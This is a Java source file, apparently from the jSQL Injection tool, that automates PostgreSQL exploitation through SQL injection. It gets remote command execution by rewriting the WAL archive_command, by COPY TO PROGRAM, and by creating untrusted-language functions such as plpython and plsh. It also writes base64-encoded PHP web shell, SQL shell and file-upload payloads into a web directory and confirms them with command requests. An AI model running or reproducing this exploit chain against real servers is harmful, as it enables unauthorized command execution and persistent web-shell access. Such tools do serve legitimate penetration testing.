1 package com.jsql.model.accessible.vendor;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.model.accessible.DataAccess;
5 import com.jsql.model.accessible.ResourceAccess;
6 import com.jsql.model.accessible.vendor.postgres.ModelYamlPostgres;
7 import com.jsql.model.bean.util.Interaction;
8 import com.jsql.model.bean.util.Request;
9 import com.jsql.model.exception.JSqlException;
10 import com.jsql.model.exception.JSqlRuntimeException;
11 import com.jsql.model.injection.vendor.model.VendorYaml;
12 import com.jsql.util.LogLevelUtil;
13 import com.jsql.util.StringUtil;
14 import org.apache.commons.lang3.RandomStringUtils;
15 import org.apache.commons.lang3.StringUtils;
16 import org.apache.logging.log4j.LogManager;
17 import org.apache.logging.log4j.Logger;
18 import org.yaml.snakeyaml.Yaml;
19
20 import java.io.File;
21 import java.io.FileInputStream;
22 import java.io.IOException;
23 import java.io.InputStream;
24 import java.net.http.HttpResponse;
25 import java.util.Arrays;
26 import java.util.UUID;
27 import java.util.function.BinaryOperator;
28
29 public class ExploitPostgres {
30
31
32
33
34 private static final Logger LOGGER = LogManager.getRootLogger();
35 private final InjectionModel injectionModel;
36 private String nameExtension = StringUtils.EMPTY;
37 private final ModelYamlPostgres modelYaml;
38
39 public ExploitPostgres(InjectionModel injectionModel) {
40 this.injectionModel = injectionModel;
41 var yaml = new Yaml();
42 this.modelYaml = yaml.loadAs(
43 injectionModel.getMediatorVendor().getPostgres().instance().getModelYaml().getResource().getExploit(),
44 ModelYamlPostgres.class
45 );
46 }
47
48 public void createUdf(String nameExtension) throws JSqlException {
49 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Exploit mode forced to query body");
50
51 if (StringUtils.isEmpty(nameExtension)) {
52 if (this.checkRceWal()) {
53 return;
54 }
55 if (this.checkRceProgram()) {
56 return;
57 }
58 if (this.checkRceExtension()) {
59 return;
60 }
61 } else {
62 this.nameExtension = this.createExtension(nameExtension);
63 }
64
65 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getDropFunc(), ResourceAccess.ADD_FUNC);
66 if (this.nameExtension.startsWith("plpython")) {
67 this.injectionModel.injectWithoutIndex(String.format(this.modelYaml.getUdf().getPlpython(), this.nameExtension), ResourceAccess.ADD_FUNC);
68 } else if (this.nameExtension.startsWith("plperl")) {
69 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getPlperl(), ResourceAccess.ADD_FUNC);
70 } else if (this.nameExtension.startsWith("pltcl")) {
71 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getPltcl(), ResourceAccess.ADD_FUNC);
72 } else if (this.nameExtension.startsWith("plr")) {
73 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getPlr(), ResourceAccess.ADD_FUNC);
74 } else if (this.nameExtension.startsWith("pllua")) {
75 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getPllua(), ResourceAccess.ADD_FUNC);
76 } else if (this.nameExtension.startsWith("plsh")) {
77 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getPlsh(), ResourceAccess.ADD_FUNC);
78 } else if (this.nameExtension.startsWith("sql")) {
79 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getDropTable(), ResourceAccess.TBL_DROP);
80 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getCreateTable(), ResourceAccess.TBL_CREATE);
81 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getConfirm().getAddFunc(), ResourceAccess.ADD_FUNC);
82 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.RUN_FUNC);
83 var result = this.injectionModel.getResourceAccess().getResult(String.format(
84 this.modelYaml.getUdf().getSql().getResultCmd(),
85 StringUtils.EMPTY
86 ), ResourceAccess.BODY_CONFIRM);
87 if (!"1337".equals(result)) {
88 return;
89 }
90 }
91
92 var functions = this.injectionModel.getResourceAccess().getResult(
93 this.modelYaml.getUdf().getSql().getConfirm().getFuncExists(),
94 ResourceAccess.BODY_CONFIRM
95 );
96 if (!functions.contains("exec_cmd")) {
97 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE failure: function not found");
98 return;
99 }
100
101 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [extension] successful: function found for extension [{}]", this.nameExtension);
102
103 var request = new Request();
104 request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_POSTGRES);
105 request.setParameters(null, null);
106 this.injectionModel.sendToViews(request);
107 }
108
109 private boolean checkRceExtension() throws JSqlException {
110 this.nameExtension = StringUtils.EMPTY;
111 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [extension] requirements: stack query, any of py/sh/pl/lua/sql/r/tcl installed");
112 for (var ext: Arrays.asList("plpython3u", "plpython2u", "plpythonu", "plperlu", "pltclu", "pllua", "plsh", "sql", "plr")) {
113 if (StringUtils.isEmpty(this.nameExtension)) {
114 this.nameExtension = this.createExtension(ext);
115 }
116 }
117 if (StringUtils.isEmpty(this.nameExtension)) {
118 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE failure: no extension found");
119 return true;
120 }
121 return false;
122 }
123
124 private boolean checkRceProgram() {
125 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Program] requirements: stack query");
126 var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
127 this.injectionModel.injectWithoutIndex(String.format(
128 this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
129 nameTempTable
130 ), ResourceAccess.TBL_CREATE);
131 this.injectionModel.injectWithoutIndex(String.format(
132 this.modelYaml.getUdf().getProgram().getRun(),
133 nameTempTable,
134 ResourceAccess.WEB_CONFIRM_CMD
135 ), ResourceAccess.TBL_FILL);
136 var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
137 this.modelYaml.getUdf().getProgram().getGetResult(),
138 nameTempTable
139 ), ResourceAccess.TBL_READ);
140 if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
141 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Program] successful: command execution found");
142 var request = new Request();
143 request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_PROGRAM_POSTGRES);
144 request.setParameters(null, null);
145 this.injectionModel.sendToViews(request);
146 return true;
147 }
148 return false;
149 }
150
151 private boolean checkRceWal() throws JSqlException {
152 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [WAL] requirements: archive_mode enabled");
153 if (!StringUtils.EMPTY.equals(this.runWal(null))) {
154 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [WAL] successful: command execution found");
155 var request = new Request();
156 request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_WAL_POSTGRES);
157 request.setParameters(null, null);
158 this.injectionModel.sendToViews(request);
159 return true;
160 }
161 return false;
162 }
163
164 private String runWal(String command) throws JSqlException {
165 boolean isSetup = command == null;
166
167 String status = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getWal().getGetStatus(), "wal#status");
168 if (isSetup && !status.contains("on")) {
169 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit WAL failure: archive_mode disabled");
170 return StringUtils.EMPTY;
171 }
172
173 String pathConf = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getWal().getGetPathConf(), "conf#path");
174 String loidConf = this.injectionModel.getResourceAccess().getResult(String.format(
175 this.modelYaml.getUdf().getWal().getGetConfLoid(),
176 pathConf
177 ), "conf#loid");
178 String lengthConf = this.injectionModel.getResourceAccess().getResult(String.format(
179 this.modelYaml.getUdf().getWal().getGetConfLength(),
180 loidConf
181 ), "conf#size");
182
183 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
184 this.modelYaml.getUdf().getWal().getPutCmd(),
185 loidConf,
186 lengthConf,
187 isSetup ? ResourceAccess.WEB_CONFIRM_CMD +"%20" : command
188 ), "conf#append");
189
190 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
191 this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
192 loidConf,
193 pathConf
194 ), "conf#write");
195 this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getWal().getReloadConf(), "wal#reload");
196
197 String cmdArchive = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getWal().getGetCmd(), "cmd#confirm");
198 if (isSetup && !cmdArchive.contains("/tmp/cmd.txt")) {
199 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit WAL failure: archive command missing");
200 return StringUtils.EMPTY;
201 }
202
203 this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getWal().getRunWal(), "wal#run");
204 try {
205 Thread.sleep(750);
206 } catch (InterruptedException e) {
207 LOGGER.log(LogLevelUtil.IGNORE, e, e);
208 Thread.currentThread().interrupt();
209 }
210 String loidResult = this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getWal().getGetResult(), "result#loid");
211 String result = this.injectionModel.getResourceAccess().getResult(String.format(
212 this.modelYaml.getFile().getRead().getLargeObject().getToText(),
213 loidResult
214 ), "result#read");
215
216 if (isSetup && !result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
217 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit WAL failure: command result missing");
218 return StringUtils.EMPTY;
219 }
220 return result;
221 }
222
223 private String createExtension(String nameExtension) throws JSqlException {
224 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Checking extension {}", nameExtension);
225 this.injectionModel.injectWithoutIndex(String.format(
226 this.modelYaml.getUdf().getExtension().getCreate(),
227 nameExtension
228 ), "body#add-ext");
229 String languages = this.injectionModel.getResourceAccess().getResult(
230 this.modelYaml.getUdf().getExtension().getLanguages(),
231 "body#confirm-ext"
232 );
233 if (languages.contains(nameExtension)) {
234 return nameExtension;
235 }
236 return StringUtils.EMPTY;
237 }
238
239 public String runRceWalCmd(String command, UUID uuidShell) {
240 String result;
241 try {
242 result = this.runWal(command.replace(StringUtils.SPACE, "%20") +"%20");
243 } catch (JSqlException e) {
244 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
245 }
246 var request = new Request();
247 request.setMessage(Interaction.GET_EXPLOIT_RCE_RESULT);
248 request.setParameters(uuidShell, result.trim() +"\n");
249 this.injectionModel.sendToViews(request);
250 return result;
251 }
252
253 public String runRceProgramCmd(String command, UUID uuidShell) {
254 String result;
255 try {
256 var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
257 this.injectionModel.injectWithoutIndex(String.format(
258 this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
259 nameTempTable
260 ), ResourceAccess.TBL_CREATE);
261 this.injectionModel.injectWithoutIndex(String.format(
262 this.modelYaml.getUdf().getProgram().getRun(),
263 nameTempTable,
264 command.replace(StringUtils.SPACE, "%20") +"%20"
265 ), ResourceAccess.TBL_FILL);
266 result = this.injectionModel.getResourceAccess().getResult(String.format(
267 this.modelYaml.getUdf().getProgram().getGetResult(),
268 nameTempTable
269 ), ResourceAccess.TBL_READ);
270 } catch (JSqlException e) {
271 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
272 }
273 var request = new Request();
274 request.setMessage(Interaction.GET_EXPLOIT_RCE_RESULT);
275 request.setParameters(uuidShell, result.trim() +"\n");
276 this.injectionModel.sendToViews(request);
277 return result;
278 }
279
280 public String runRceExtCmd(String command, UUID uuidShell) {
281 String result;
282 try {
283 if ("sql".equals(this.nameExtension)) {
284 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getClean(), "body#empty-tbl");
285 this.injectionModel.injectWithoutIndex(String.format(
286 this.modelYaml.getUdf().getSql().getRunFunc(),
287 command.replace(StringUtils.SPACE, "%20")
288 ), ResourceAccess.ADD_FUNC);
289 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.UDF_RUN_CMD);
290 result = this.injectionModel.getResourceAccess().getResult(String.format(
291 this.modelYaml.getUdf().getSql().getResultCmd(),
292 VendorYaml.TRAIL_SQL
293 ), "body#result") +"\n";
294 } else {
295 result = this.injectionModel.getResourceAccess().getResult(
296 String.format(
297 this.modelYaml.getUdf().getRunFunc(),
298 command.replace(StringUtils.SPACE, "%20"),
299 VendorYaml.TRAIL_SQL
300 ),
301 ResourceAccess.UDF_RUN_CMD
302 );
303 }
304 } catch (JSqlException e) {
305 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
306 }
307 var request = new Request();
308 request.setMessage(Interaction.GET_EXPLOIT_RCE_RESULT);
309 request.setParameters(uuidShell, result.trim() +"\n");
310 this.injectionModel.sendToViews(request);
311 return result;
312 }
313
314 public void createWeb(String pathExploit, String urlExploit) {
315 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query");
316
317 String bodyExploit = StringUtil.base64Decode(
318 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
319 )
320 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
321 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
322
323 var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
324 this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
325 bodyExploit.replace("'", "\"")
326 ), ResourceAccess.ADD_LOID);
327 if (StringUtils.isEmpty(loid)) {
328 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
329 return;
330 }
331 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
332 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
333 this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
334 loid,
335 pathExploit + nameExploit
336 ), ResourceAccess.WRITE_LOID);
337
338 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
339 String result = this.injectionModel.getResourceAccess().callCommand(
340 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
341 );
342 if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
343 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
344 return StringUtils.EMPTY;
345 }
346 var request = new Request();
347 request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
348 request.setParameters(urlSuccess);
349 this.injectionModel.sendToViews(request);
350 return urlSuccess;
351 };
352
353 this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
354 }
355
356 public String createSql(String pathExploit, String urlExploit, String username, String password) {
357 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
358 var resultQuery = this.injectionModel.getResourceAccess().runSqlShell(
359 ResourceAccess.SQL_CONFIRM_CMD,
360 null,
361 urlSuccess,
362 username,
363 password,
364 false
365 );
366 if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
367 var request = new Request();
368 request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL);
369 request.setParameters(urlSuccess, username, password);
370 this.injectionModel.sendToViews(request);
371 return urlSuccess;
372 }
373 return StringUtils.EMPTY;
374 };
375
376 String bodyExploit = StringUtil.base64Decode(
377 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty("exploit.sql.pdo.pgsql")
378 )
379 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
380 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
381
382 var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
383 this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
384 bodyExploit.replace("'", "\"")
385 ), ResourceAccess.ADD_LOID);
386 if (StringUtils.isEmpty(loid)) {
387 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
388 return StringUtils.EMPTY;
389 }
390 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
391 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
392 this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
393 loid,
394 pathExploit + nameExploit
395 ), ResourceAccess.WRITE_LOID);
396
397 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
398 }
399
400 public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
401 String bodyExploit = StringUtil.base64Decode(
402 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
403 )
404 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
405 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
406
407 var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
408 this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
409 bodyExploit.replace("'", "\"")
410 ), ResourceAccess.ADD_LOID);
411 if (StringUtils.isEmpty(loid)) {
412 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
413 return;
414 }
415 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
416 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
417 this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
418 loid,
419 pathExploit + nameExploit
420 ), ResourceAccess.WRITE_LOID);
421
422 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
423 try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
424 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
425 if (result.body().contains(DataAccess.LEAD +"y")) {
426 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
427 } else {
428 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
429 }
430 } catch (InterruptedException e) {
431 LOGGER.log(LogLevelUtil.IGNORE, e, e);
432 Thread.currentThread().interrupt();
433 } catch (IOException | JSqlException e) {
434 throw new JSqlRuntimeException(e);
435 }
436 return urlSuccess;
437 };
438
439 this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
440 }
441
442 public ModelYamlPostgres getModelYaml() {
443 return this.modelYaml;
444 }
445 }